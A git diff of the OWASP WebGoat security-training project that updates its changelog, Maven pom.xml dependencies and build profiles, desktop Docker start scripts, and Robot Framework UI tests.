+- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
+- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
+
+## Version 2023.5
+
+### New functionality
+
+- Implement JWT jku example (#1552)
+- Java 21 initial support (#1622)
+- improve MFAC lesson hint texts for a better user experience (#1424)
+- upgrade to Spring Boot version 3 (#1477)
+
+### Bug fixes
+
+- typo in WebGoad.txt (#1667)
+- search box moved and jwt encode/decode with little delay (#1664)
+- skip validation for JWT (#1663)
+- fixed issue in JWT test tool and added robot test (#1658)
+- Password reset link test condition more strict and move all WebWolf links to /WebWolf  (#1645)
+- fix servers id (#1619)
+- potential NPE in the stored XSS assignment
+- crypto basics broken links
+- fixes the default change in trailing slash matching and address the affected assignments
+- hint that was breaking the template, causing hints from different assignments to mix (#1424)
+- HijackSession lesson template deprecated Tymeleaf attribute
+- Fix NPE in IDOR lesson
+- Add new assignment IT tests
+- XSS mitigation
+- Stored Cross-Site Scripting Lesson
+- Add Assignment7 Tests
+- Fix IDOR lesson
+- remove steps from release script (#1509)
+- robotframework fails due to updated dependencies (#1508)
+- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
+- Fix typo of HijackSession_content0.adoc
+- Restrict SSRF Regexes
+- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the FlagController
+
+## Version 2023.4
+
+### New functionality
+
+- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
+- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
+
+### Bug fixes
+
+- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
+- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
+- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
+
 ## Version 2023.3
 
 With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
@@ -147,4 +215,3 @@ Special thanks to the following contributors providing us with a pull request:
 And everyone who provided feedback through Github.
 
 Team WebGoat
-

config/checkstyle/suppressions.xml

@@ -8,4 +8,4 @@
     <suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
     <suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
     <suppress files="HtmlTamperingTask.java" checks="ParameterName" />
-</suppressions>
+</suppressions>

config/desktop/WebGoat.txt

@@ -0,0 +1,10 @@
+** Welcome to WebGoat desktop image
+
+With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
+You can start WebGoat and ZAP by opening a terminal and type:
+
+./start_webgoat.sh
+./start_zap.sh
+
+Happy hacking,
+Team WebGoat

config/desktop/start_webgoat.sh

@@ -0,0 +1,17 @@
+#!/bin/sh
+
+/config/jdk-21.0.3+9-jre/bin/java \
+  -Duser.home=/config \
+  -Dfile.encoding=UTF-8 \
+  -DTZ=Europe/Amsterdam \
+  --add-opens java.base/java.lang=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
+  --add-opens java.base/java.text=ALL-UNNAMED \
+  --add-opens java.desktop/java.beans=ALL-UNNAMED \
+  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
+  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
+  --add-opens java.base/java.io=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  -Drunning.in.docker=false \
+  -jar /config/webgoat.jar

config/desktop/start_zap.sh

@@ -0,0 +1,3 @@
+#!/bin/sh
+
+/config/jdk-21.0.3+9-jre/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

docs/README.md

@@ -1,4 +1,3 @@
 # WebGoat landing page
 
 Old GitHub page which now redirects to OWASP website.
-

docs/index.html

@@ -11,4 +11,4 @@
   The page been moved to <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a>
 </h1>
 </body>
-</html>
+</html>

mvnw

@@ -246,7 +246,7 @@ else
         else
             curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
         fi
-        
+
     else
         if [ "$MVNW_VERBOSE" = true ]; then
           echo "Falling back to using Java to download"

pom.xml

@@ -1,16 +1,16 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
   <modelVersion>4.0.0</modelVersion>
 
   <parent>
     <groupId>org.springframework.boot</groupId>
     <artifactId>spring-boot-starter-parent</artifactId>
-    <version>2.7.1</version>
+    <version>3.3.5</version>
   </parent>
+
   <groupId>org.owasp.webgoat</groupId>
   <artifactId>webgoat</artifactId>
-  <version>2023.3</version>
+  <version>2024.2-SNAPSHOT</version>
   <packaging>jar</packaging>
 
   <name>WebGoat</name>
@@ -27,14 +27,8 @@
       <url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
     </license>
   </licenses>
+
   <developers>
-    <developer>
-      <id>mayhew64</id>
-      <name>Bruce Mayhew</name>
-      <email>webgoat@owasp.org</email>
-      <organization>OWASP</organization>
-      <organizationUrl>https://github.com/WebGoat/WebGoat</organizationUrl>
-    </developer>
     <developer>
       <id>nbaars</id>
       <name>Nanne Baars</name>
@@ -42,11 +36,6 @@
       <organizationUrl>https://github.com/nbaars</organizationUrl>
       <timezone>Europe/Amsterdam</timezone>
     </developer>
-    <developer>
-      <id>misfir3</id>
-      <name>Jason White</name>
-      <email>jason.white@owasp.org</email>
-    </developer>
     <developer>
       <id>zubcevic</id>
       <name>René Zubcevic</name>
@@ -57,44 +46,8 @@
       <name>Àngel Ollé Blázquez</name>
       <email>angel@olleb.com</email>
     </developer>
-    <developer>
-      <id>jwayman</id>
-      <name>Jeff Wayman</name>
-      <email></email>
-    </developer>
-    <developer>
-      <id>dcowden</id>
-      <name>Dave Cowden</name>
-      <email></email>
-    </developer>
-    <developer>
-      <id>lawson89</id>
-      <name>Richard Lawson</name>
-      <email></email>
-    </developer>
-    <developer>
-      <id>dougmorato</id>
-      <name>Doug Morato</name>
-      <email>doug.morato@owasp.org</email>
-      <organization>OWASP</organization>
-      <organizationUrl>https://github.com/dougmorato</organizationUrl>
-      <timezone>America/New_York</timezone>
-      <properties>
-        <picUrl>https://avatars2.githubusercontent.com/u/9654?v=3&amp;s=150</picUrl>
-      </properties>
-    </developer>
   </developers>
 
-  <mailingLists>
-    <mailingList>
-      <name>OWASP WebGoat Mailing List</name>
-      <subscribe>https://lists.owasp.org/mailman/listinfo/owasp-webgoat</subscribe>
-      <unsubscribe>Owasp-webgoat-request@lists.owasp.org</unsubscribe>
-      <post>owasp-webgoat@lists.owasp.org</post>
-      <archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
-    </mailingList>
-  </mailingLists>
-
   <scm>
     <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
     <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
@@ -108,59 +61,57 @@
   </issueManagement>
 
   <properties>
-
     <!-- Shared properties with plugins and version numbers across submodules-->
-    <asciidoctorj.version>2.5.3</asciidoctorj.version>
-    <bootstrap.version>3.3.7</bootstrap.version>
-    <cglib.version>2.2</cglib.version>
+    <asciidoctorj.version>3.0.0</asciidoctorj.version>
+    <bootstrap.version>5.3.3</bootstrap.version>
+    <cglib.version>3.3.0</cglib.version>
     <!-- do not update necessary for lesson -->
-    <checkstyle.version>3.1.2</checkstyle.version>
+    <checkstyle.version>3.4.0</checkstyle.version>
     <commons-collections.version>3.2.1</commons-collections.version>
-    <commons-io.version>2.6</commons-io.version>
-    <commons-lang3.version>3.12.0</commons-lang3.version>
-    <commons-text.version>1.9</commons-text.version>
-    <guava.version>30.1-jre</guava.version>
-    <java.version>17</java.version>
+    <commons-compress.version>1.27.1</commons-compress.version>
+    <commons-io.version>2.16.1</commons-io.version>
+    <commons-lang3.version>3.14.0</commons-lang3.version>
+    <commons-text.version>1.12.0</commons-text.version>
+    <guava.version>33.3.0-jre</guava.version>
+    <jacoco.version>0.8.11</jacoco.version>
+    <java.version>21</java.version>
+    <jaxb.version>2.3.1</jaxb.version>
     <jjwt.version>0.9.1</jjwt.version>
-    <jose4j.version>0.7.6</jose4j.version>
-    <jquery.version>3.5.1</jquery.version>
-    <jsoup.version>1.14.3</jsoup.version>
+    <jose4j.version>0.9.3</jose4j.version>
+    <jquery.version>3.7.1</jquery.version>
+    <jsoup.version>1.18.1</jsoup.version>
     <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
     <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
     <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
     <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
     <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
-    <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
-    <maven.compiler.source>17</maven.compiler.source>
-    <maven.compiler.target>17</maven.compiler.target>
+    <maven-surefire-plugin.version>3.5.1</maven-surefire-plugin.version>
+    <maven.compiler.source>21</maven.compiler.source>
+    <maven.compiler.target>21</maven.compiler.target>
     <pmd.version>3.15.0</pmd.version>
     <!-- Use UTF-8 Encoding -->
     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
     <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-    <thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
-    <webdriver.version>4.3.1</webdriver.version>
-    <webgoat.port>8080</webgoat.port>
-    <webwolf.port>9090</webwolf.port>
-    <wiremock.version>2.27.2</wiremock.version>
+    <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
+    <waittimeForServerStart>30</waittimeForServerStart>
+    <webdriver.version>5.9.2</webdriver.version>
+    <webgoat.context>/</webgoat.context>
+    <webgoat.sslenabled>false</webgoat.sslenabled>
+    <webjars-locator-core.version>0.59</webjars-locator-core.version>
+    <webwolf.context>/</webwolf.context>
+    <wiremock.version>3.9.1</wiremock.version>
     <xml-resolver.version>1.2</xml-resolver.version>
     <xstream.version>1.4.5</xstream.version>
     <!-- do not update necessary for lesson -->
-    <zxcvbn.version>1.5.2</zxcvbn.version>
+    <zxcvbn.version>1.9.0</zxcvbn.version>
   </properties>
 
   <dependencyManagement>
     <dependencies>
-
-      <dependency>
-        <groupId>org.ow2.asm</groupId>
-        <artifactId>asm</artifactId>
-        <version>9.1</version>
-      </dependency>
-
       <dependency>
         <groupId>org.apache.commons</groupId>
         <artifactId>commons-exec</artifactId>
-        <version>1.3</version>
+        <version>1.4.0</version>
       </dependency>
       <dependency>
         <groupId>org.asciidoctor</groupId>
@@ -198,6 +149,17 @@
         <artifactId>jjwt</artifactId>
         <version>${jjwt.version}</version>
       </dependency>
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>jwks-rsa</artifactId>
+        <version>0.22.1</version>
+      </dependency>
+      <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>java-jwt</artifactId>
+        <version>4.4.0</version>
+      </dependency>
       <dependency>
         <groupId>com.google.guava</groupId>
         <artifactId>guava</artifactId>
@@ -229,8 +191,13 @@
         <version>${jquery.version}</version>
       </dependency>
       <dependency>
-        <groupId>com.github.tomakehurst</groupId>
-        <artifactId>wiremock</artifactId>
+        <groupId>org.webjars</groupId>
+        <artifactId>webjars-locator-core</artifactId>
+        <version>${webjars-locator-core.version}</version>
+      </dependency>
+      <dependency>
+        <groupId>org.wiremock</groupId>
+        <artifactId>wiremock-standalone</artifactId>
         <version>${wiremock.version}</version>
       </dependency>
       <dependency>
@@ -241,16 +208,15 @@
       <dependency>
         <groupId>org.apache.commons</groupId>
         <artifactId>commons-compress</artifactId>
-        <version>1.21</version>
+        <version>${commons-compress.version}</version>
       </dependency>
       <dependency>
         <groupId>org.jruby</groupId>
         <artifactId>jruby</artifactId>
-        <version>9.3.6.0</version>
+        <version>9.4.8.0</version>
       </dependency>
     </dependencies>
   </dependencyManagement>
-
   <dependencies>
     <dependency>
       <groupId>org.apache.commons</groupId>
@@ -267,22 +233,25 @@
       <optional>true</optional>
     </dependency>
     <dependency>
-      <groupId>javax.xml.bind</groupId>
-      <artifactId>jaxb-api</artifactId>
+      <groupId>org.testcontainers</groupId>
+      <artifactId>testcontainers</artifactId>
+      <version>1.20.1</version>
+      <scope>test</scope>
     </dependency>
     <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-undertow</artifactId>
+      <groupId>org.testcontainers</groupId>
+      <artifactId>junit-jupiter</artifactId>
+      <version>1.20.1</version>
+      <scope>test</scope>
+    </dependency>
+    <dependency>
+      <groupId>javax.xml.bind</groupId>
+      <artifactId>jaxb-api</artifactId>
+      <version>${jaxb.version}</version>
     </dependency>
     <dependency>
       <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-web</artifactId>
-      <exclusions>
-        <exclusion>
-          <groupId>org.springframework.boot</groupId>
-          <artifactId>spring-boot-starter-tomcat</artifactId>
-        </exclusion>
-      </exclusions>
     </dependency>
     <dependency>
       <groupId>org.springframework.boot</groupId>
@@ -292,6 +261,10 @@
       <groupId>org.flywaydb</groupId>
       <artifactId>flyway-core</artifactId>
     </dependency>
+    <dependency>
+      <groupId>org.flywaydb</groupId>
+      <artifactId>flyway-database-hsqldb</artifactId>
+    </dependency>
     <dependency>
       <groupId>org.asciidoctor</groupId>
       <artifactId>asciidoctorj</artifactId>
@@ -308,9 +281,17 @@
       <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-thymeleaf</artifactId>
     </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-starter-oauth2-client</artifactId>
+    </dependency>
     <dependency>
       <groupId>org.thymeleaf.extras</groupId>
-      <artifactId>thymeleaf-extras-springsecurity5</artifactId>
+      <artifactId>thymeleaf-extras-springsecurity6</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.servlet</groupId>
+      <artifactId>jakarta.servlet-api</artifactId>
     </dependency>
     <dependency>
       <groupId>org.hsqldb</groupId>
@@ -340,6 +321,15 @@
       <groupId>io.jsonwebtoken</groupId>
       <artifactId>jjwt</artifactId>
     </dependency>
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>jwks-rsa</artifactId>
+    </dependency>
+    <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>java-jwt</artifactId>
+    </dependency>
     <dependency>
       <groupId>com.google.guava</groupId>
       <artifactId>guava</artifactId>
@@ -369,8 +359,23 @@
       <artifactId>jquery</artifactId>
     </dependency>
     <dependency>
-      <groupId>org.glassfish.jaxb</groupId>
-      <artifactId>jaxb-runtime</artifactId>
+      <groupId>org.webjars</groupId>
+      <artifactId>webjars-locator-core</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.xml.bind</groupId>
+      <artifactId>jakarta.xml.bind-api</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>com.sun.xml.bind</groupId>
+      <artifactId>jaxb-impl</artifactId>
+      <scope>runtime</scope>
+    </dependency>
+    <dependency>
+      <groupId>com.github.terma</groupId>
+      <artifactId>javaniotcpproxy</artifactId>
+      <version>1.5</version>
+      <scope>test</scope>
     </dependency>
 
     <dependency>
@@ -384,15 +389,19 @@
       <scope>test</scope>
     </dependency>
     <dependency>
-      <groupId>com.github.tomakehurst</groupId>
-      <artifactId>wiremock</artifactId>
-      <scope>test</scope>
+      <groupId>org.wiremock</groupId>
+      <artifactId>wiremock-standalone</artifactId>
     </dependency>
     <dependency>
       <groupId>io.rest-assured</groupId>
       <artifactId>rest-assured</artifactId>
       <scope>test</scope>
     </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-properties-migrator</artifactId>
+      <scope>runtime</scope>
+    </dependency>
   </dependencies>
 
   <repositories>
@@ -461,10 +470,19 @@
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-failsafe-plugin</artifactId>
         <configuration>
+          <environmentVariables>
+            <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+            <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+            <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+            <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+            <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+            <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+            <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+          </environmentVariables>
           <systemPropertyVariables>
             <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
           </systemPropertyVariables>
-          <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
+          <argLine>-Xmx512m</argLine>
           <includes>org/owasp/webgoat/*Test</includes>
         </configuration>
         <executions>
@@ -487,14 +505,15 @@
         <artifactId>maven-surefire-plugin</artifactId>
         <version>${maven-surefire-plugin.version}</version>
         <configuration>
+          <forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
+          <!-- Necessary for vulnerable components lesson -->
           <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
-                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
-                        --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
-                        --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
+          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
           <excludes>
             <exclude>**/*IntegrationTest.java</exclude>
-            <exclude>src/it/java</exclude>
-            <exclude>org/owasp/webgoat/*Test</exclude>
           </excludes>
         </configuration>
       </plugin>
@@ -503,7 +522,6 @@
         <artifactId>maven-checkstyle-plugin</artifactId>
         <version>${checkstyle.version}</version>
         <configuration>
-          <encoding>UTF-8</encoding>
           <consoleOutput>true</consoleOutput>
           <failsOnError>true</failsOnError>
           <configLocation>config/checkstyle/checkstyle.xml</configLocation>
@@ -514,7 +532,7 @@
       <plugin>
         <groupId>com.diffplug.spotless</groupId>
         <artifactId>spotless-maven-plugin</artifactId>
-        <version>2.29.0</version>
+        <version>2.41.1</version>
         <configuration>
           <formats>
             <format>
@@ -536,6 +554,11 @@
             <flexmark></flexmark>
           </markdown>
           <java>
+            <includes>
+              <include>src/main/java/**/*.java</include>
+              <include>src/test/java/**/*.java</include>
+              <include>src/it/java/**/*.java</include>
+            </includes>
             <removeUnusedImports></removeUnusedImports>
             <googleJavaFormat>
               <style>GOOGLE</style>
@@ -570,7 +593,7 @@
       <plugin>
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-enforcer-plugin</artifactId>
-        <version>3.0.0</version>
+        <version>3.5.0</version>
         <executions>
           <execution>
             <id>restrict-log4j-versions</id>
@@ -594,10 +617,6 @@
       <plugin>
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-compiler-plugin</artifactId>
-        <configuration>
-          <source>17</source>
-          <target>17</target>
-        </configuration>
       </plugin>
     </plugins>
   </build>
@@ -627,16 +646,15 @@
                   <portNames>
                     <portName>webgoat.port</portName>
                     <portName>webwolf.port</portName>
-                    <portName>jmxPort</portName>
                   </portNames>
                 </configuration>
               </execution>
             </executions>
           </plugin>
           <plugin>
-            <groupId>com.bazaarvoice.maven.plugins</groupId>
+            <groupId>org.honton.chas</groupId>
             <artifactId>process-exec-maven-plugin</artifactId>
-            <version>0.9</version>
+            <version>0.9.2</version>
             <executions>
               <execution>
                 <id>start-jar</id>
@@ -644,16 +662,25 @@
                   <goal>start</goal>
                 </goals>
                 <phase>pre-integration-test</phase>
+
                 <configuration>
                   <workingDir>${project.build.directory}</workingDir>
+                  <environment>
+                    <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+                    <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+                    <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+                    <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+                    <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+                    <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+                    <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+                  </environment>
                   <arguments>
                     <argument>java</argument>
                     <argument>-jar</argument>
                     <argument>-Dlogging.pattern.console=</argument>
+                    <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
+                    <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
                     <argument>-Dspring.main.banner-mode=off</argument>
-                    <argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
-                    <argument>-Dwebgoat.port=${webgoat.port}</argument>
-                    <argument>-Dwebwolf.port=${webwolf.port}</argument>
                     <argument>--add-opens</argument>
                     <argument>java.base/java.lang=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
@@ -661,12 +688,8 @@
                     <argument>--add-opens</argument>
                     <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
-                    <argument>java.base/java.text=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
                     <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
-                    <argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
                     <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
                     <argument>java.base/java.io=ALL-UNNAMED</argument>
@@ -675,7 +698,8 @@
                     <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
                   </arguments>
                   <waitForInterrupt>false</waitForInterrupt>
-                  <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
+                  <waitAfterLaunch>${waittimeForServerStart}</waitAfterLaunch>
+                  <healthCheckUrl>http://127.0.0.1:${webgoat.port}${webgoat.context}login</healthCheckUrl>
                 </configuration>
               </execution>
               <execution>
@@ -700,7 +724,6 @@
           <plugin>
             <groupId>org.owasp</groupId>
             <artifactId>dependency-check-maven</artifactId>
-            <version>6.5.1</version>
             <configuration>
               <failBuildOnCVSS>7</failBuildOnCVSS>
               <skipProvidedScope>false</skipProvidedScope>
@@ -721,6 +744,81 @@
         </plugins>
       </build>
     </profile>
+    <profile>
+      <!-- run with: mvn test -Pcoverage -->
+      <id>coverage</id>
+      <activation>
+        <activeByDefault>false</activeByDefault>
+      </activation>
+      <build>
+        <plugins>
+          <plugin>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-surefire-plugin</artifactId>
+            <version>${maven-surefire-plugin.version}</version>
+            <configuration>
+              <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          ${surefire.jacoco.args}</argLine>
+              <excludes>
+                <exclude>**/*IntegrationTest.java</exclude>
+                <exclude>src/it/java</exclude>
+                <exclude>org/owasp/webgoat/*Test</exclude>
+              </excludes>
+            </configuration>
+          </plugin>
+          <plugin>
+            <groupId>org.jacoco</groupId>
+            <artifactId>jacoco-maven-plugin</artifactId>
+            <executions>
+              <execution>
+                <id>before-unit-test</id>
+                <goals>
+                  <goal>prepare-agent</goal>
+                </goals>
+                <configuration>
+                  <destFile>${project.build.directory}/jacoco/jacoco-ut.exec</destFile>
+                  <propertyName>surefire.jacoco.args</propertyName>
+                </configuration>
+              </execution>
+              <execution>
+                <id>check</id>
+                <goals>
+                  <goal>check</goal>
+                </goals>
+                <configuration>
+                  <rules>
+                    <rule>
+                      <element>BUNDLE</element>
+                      <limits>
+                        <limit>
+                          <counter>CLASS</counter>
+                          <value>COVEREDCOUNT</value>
+                          <minimum>0.6</minimum>
+                        </limit>
+                      </limits>
+                    </rule>
+                  </rules>
+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                </configuration>
+              </execution>
+              <execution>
+                <id>after-unit-test</id>
+                <goals>
+                  <goal>report</goal>
+                </goals>
+                <phase>test</phase>
+                <configuration>
+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                  <outputDirectory>${project.reporting.outputDirectory}/jacoco-unit-test-coverage-report</outputDirectory>
+                </configuration>
+              </execution>
+            </executions>
+          </plugin>
+        </plugins>
+      </build>
+    </profile>
   </profiles>
-
 </project>

robot/README.md

@@ -12,8 +12,10 @@ Then see security settings and allow the file to run
         pip3 install virtualenv --user
         python3 -m virtualenv .venv
         source .venv/bin/activate
-        pip install robotframework
-        pip install robotframework-SeleniumLibrary
-        pip install webdriver-manager
+        pip install --upgrade robotframework
+        pip install --upgrade robotframework-SeleniumLibrary
+        pip install --upgrade webdriver-manager
+        brew upgrade
         robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
 
+Make sure that the Chrome version, the webdriver version and all related components are up-to-date and compatible!

robot/goat.robot

@@ -2,6 +2,7 @@
 Documentation  Setup WebGoat Robotframework tests
 Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
 Library  String
+Library  OperatingSystem
 
 Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
 Suite Teardown  Close_Page
@@ -11,7 +12,7 @@ ${BROWSER}  chrome
 ${SLEEP}  100
 ${DELAY}  0.25
 ${ENDPOINT}  http://127.0.0.1:8080/WebGoat
-${ENDPOINT_WOLF}  http://127.0.0.1:9090
+${ENDPOINT_WOLF}  http://127.0.0.1:9090/WebWolf
 ${USERNAME}  robotuser
 ${PASSWORD}  password
 ${HEADLESS}  ${FALSE}
@@ -22,22 +23,25 @@ Initial_Page
   [Arguments]  ${ENDPOINT}  ${BROWSER}
   Log To Console  Start WebGoat UI Testing
   IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
+      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webgoat
   ELSE
       Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
   END
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  ELSE
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  END
   Switch Browser  webgoat
   Maximize Browser Window
   Set Window Size  ${1400}  ${1000}
+  Set Window Position  ${0}  ${0}
+  Set Selenium Speed  ${DELAY}
+  Log To Console  Start WebWolf UI Testing
+  IF  ${HEADLESS}
+      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webwolf
+  ELSE
+      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
+  END
   Switch Browser  webwolf
   Maximize Browser Window
   Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${400}  ${200}
+  Set Window Position  ${500}  ${0}
   Set Selenium Speed  ${DELAY}
 
 Close_Page
@@ -53,6 +57,7 @@ Close_Page
 *** Test Cases ***
 
 Check_Initial_Page
+  [Tags]  WebGoatTests
   Switch Browser  webgoat
   Page Should Contain  Username
   Click Button  Sign in
@@ -60,6 +65,7 @@ Check_Initial_Page
